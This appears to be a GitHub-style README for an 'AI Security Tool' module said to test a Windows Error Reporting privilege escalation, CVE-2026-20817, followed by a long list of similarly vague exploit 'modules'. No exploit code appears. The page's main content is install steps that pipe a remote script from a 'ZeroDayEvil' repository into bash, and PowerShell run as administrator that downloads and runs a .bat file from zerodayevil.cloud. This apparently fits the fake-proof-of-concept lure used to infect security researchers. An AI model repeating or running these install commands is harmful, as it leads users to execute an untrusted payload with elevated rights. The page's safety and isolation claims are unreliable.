🛡 AI Security Tool Module
CVE-2026-20817: Windows WER ALPC Privilege Escalation
Official Security Audit Module for AI Security Tool Ecosystem
🌐 Web Demo • 📚 Project Website • 💬 Community Chat
Website Navigation: Home • Updates • Downloads • Modules
🧠 Conceptual Overview
This module provides deep technical validation for CVE-2026-20817, a Windows Error Reporting (WER) local privilege escalation vulnerability based on ALPC message abuse.
In vulnerable environments, an authenticated low-privileged user can influence the WER service launch flow and force creation of a process running with SYSTEM privileges. The issue is tied to insufficient privilege checks in an elevated launch path that processes shared-memory-supplied command parameters.
🎯 Core Impact Philosophy
"If privileged service message validation is weak, local trust boundaries collapse."
CVE-2026-20817 is critical for endpoint hardening, SOC detection strategy, enterprise workstation baselines, and red-team post-exploitation simulation.
📊 Vulnerability Specifications
| Specification | Assigned Value | Notes |
|---|---|---|
| CVE Identifier | CVE-2026-20817 |
WER ALPC Local Privilege Escalation |
| Component | Windows Error Reporting Service | ALPC endpoint processing path |
| Attack Vector | Local (ALPC) | Authenticated low-privileged user context |
| Privileges Required | Low | Initial user-level access on host required |
| Impact | Elevation to SYSTEM | High-risk endpoint compromise primitive |
| Patch Status | Patched | January 2026 Security Update |
🕸 Attack Scenario & Architecture
graph TD
A[Low-Privileged Authenticated User] -->|Crafted ALPC Message| B[WER ALPC Port]
B -->|SvcElevatedLaunch Flow| C[Insufficient Privilege Validation]
C -->|User-Controlled Shared Memory Parameters| D[Launch WerFault.exe]
D -->|SYSTEM Token Context| E[Local Privilege Escalation]
🔬 Technical Highlights
- ALPC service port interaction with WER communication channel.
- Abuse of elevated launch method processing shared memory command data.
- SYSTEM-level process creation and token privilege exposure analysis.
🛡 Mitigation Checklist
- 🟢 Apply January 2026 Updates: Patch all affected Windows endpoints and servers.
- 🟢 Segment User Privileges: Reduce local foothold impact via least-privilege policy.
- 🟢 EDR/SIEM Monitoring: Alert on unusual WER child process behavior and SYSTEM launches.
- 🟡 Hardening Validation: Re-test patched assets with controlled security regression checks.
💻 How to Run this Module
⚠️ IMPORTANT: This module is designed for safe execution inside the AI Security Tool ecosystem only. Even if the original PoC is native C++/manual ALPC testing, this module is launched from the AI Security Tool console in a controlled and isolated execution flow.
1️⃣ Install AI Security Tool
Install the core engine before running the CVE-2026-20817 module:
| OS / Platform | Version | Architecture / Format | Release Date | Status | Download Link |
|---|---|---|---|---|---|
| 💻 Windows | v6.3.27 |
x64 Installer (.exe) | 2026-09-08 | 🟢 Latest | Download .exe |
| 💻 Windows | v6.3.20 |
x64 Portable (.tar.gz) | 2026-09-08 | 🟢 Latest | Download .tar.gz |
| 🍏 macOS | v5.3.29 |
Apple Silicon M1/M2/M3 (.dmg) | 2026-09-05 | 🟢 Stable | Download .dmg |
| 🐧 Linux | v5.3.27 |
Universal x64 (.tar.gz) | 2026-09-01 | 🟢 Stable | Download .tar.gz |
| 🤖 Android | v8a 5.3.27 |
ARM64 APK (.apk) | 2026-09-01 | 🟢 Stable | Download .apk |
🧪 One-Line Installation Scripts
Fast deployment via command-line installation scripts:
Linux / macOS:
curl -o- https://raw.githubusercontent.com/ZeroDayEvil/ai-security-tool/main/scripts/one-line-web.sh | bash
# or using wget:
wget -qO- https://raw.githubusercontent.com/ZeroDayEvil/ai-security-tool/main/scripts/one-line-web.sh | bashWindows PowerShell (Run as administrator):
iwr "https://zerodayevil.cloud/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"
cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"The script installs Go, Python, and Node.js, extracts the archive. No extra commands are required.
One-liner
iwr "https://zerodayevil.cloud/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"🛠 Build AI Security Tool from Source
git clone https://github.com/ZeroDayEvil/ai-security-tool.git
cd ai-security-tool
bash scripts/one-line-web.sh
ai-security-tool --help2️⃣ Console Execution
# Execute CVE-2026-20817 audit module via AI Security Tool CLI
ai-security-tool run --module cve-2026-20817 --target localhostExtended local validation example:
ai-security-tool run --module cve-2026-20817 \
--target localhost \
--mode wer-alpc \
--verify-system-token true \
--check-patch-level 2026-01🔍 Security Audit Modules & PoC Repositories
A curated collection of vulnerability scanners, PoC exploits, and technical research maintained by our community:
🔥 Remote Code Execution (RCE) & Network Vulns 12 modules
- CVE-2026-21858 — n8n Full Chain Unauthenticated RCE (Ni8mare)
@ZeroDayEvil - CVE-2026-41089 — Netlogon Remote Code Execution Exploit
@ZeroDayVPN - CVE-2026-20805 — Windows Remote Code Execution Proof-of-Concept
@ZeroDayEvil - CVE-2026-41096 — Critical RCE Vulnerability Scanner Module
@ZeroDayEvil - CVE-2026-24291 — Network Protocol Remote Code Execution
@ZeroDayVPN - CVE-2026-42980 — Remote Code Execution Exploit Module
@ZeroDayEvil - CVE-2026-62911 — Network Service Remote Code Execution
@ZeroDayEvil - jCVE-2026-24061 — Java/Network Component RCE Exploit
@ZeroDayEvil - CVE-2026-41940 — Remote Code Execution Proof-of-Concept
@ZeroDayEvil - CVE-2026-43499 — Critical Remote Code Execution Module
@ZeroDayEvil - CVE-2026-40369 — Advanced RCE Exploitation Framework
@ZeroDayEvil - CVE-2026-75604 — Network Protocol Remote Execution PoC
@ZeroDayEvil
🛡 Privilege Escalation (EoP) & Services 6 modules
- CVE-2026-54121 — AD CS Certighost Domain Controller Impersonation
@ZeroDayEvil - CVE-2026-66804 — CrossDevice Service Elevation of Privilege
@ZeroDayVPN - CVE-2026-50416 — Local Privilege Escalation Writeup & PoC
@ZeroDayEvil - CVE-2026-20817 — Windows Elevation of Privilege Module
@ZeroDayEvil - CVE-2026-41651 — Local Privilege Escalation & Service Abuse
@ZeroDayEvil - CVE-2026-31431 — System Component Privilege Escalation
@ZeroDayEvil
📚 Vulnerability Research & Writeups 2 modules
- CVE-2026-42978 — Deep Technical Analysis & PoC Research
@ZeroDayEvil - CVE-2026-83991 — Full WriteUp & Exploitation Demonstration
@ZeroDayVPN
⚖️ License & Legal Disclaimer
🚨 Disclaimer
This CVE-2026-20817 module is provided strictly for authorized security testing, defensive validation, and educational research.
Unauthorized use against systems without explicit permission may violate law and policy. The authors and maintainers assume no liability for misuse, damage, or compliance violations.
🔄 Contribution & Community
We welcome contributions from the security research community! Primary contribution areas:
- AI Integrations: New LLM providers and specialized autonomous security agents.
- Security Tools: Vulnerability modules, endpoint checks, and safe exploit simulation workflows.
- Optimization: Faster execution, stricter safety controls, and improved telemetry.
- Documentation: Technical guides, writeups, and localized documentation.
🔗 Contact & Support
- Official Website: zerodayevil.cloud
- Telegram Admin: @ZeroDayEvil
- Open Collective: ZeroDayEvil
AI Security Tool — Reimagining terminal workflow and automation for cybersecurity professionals.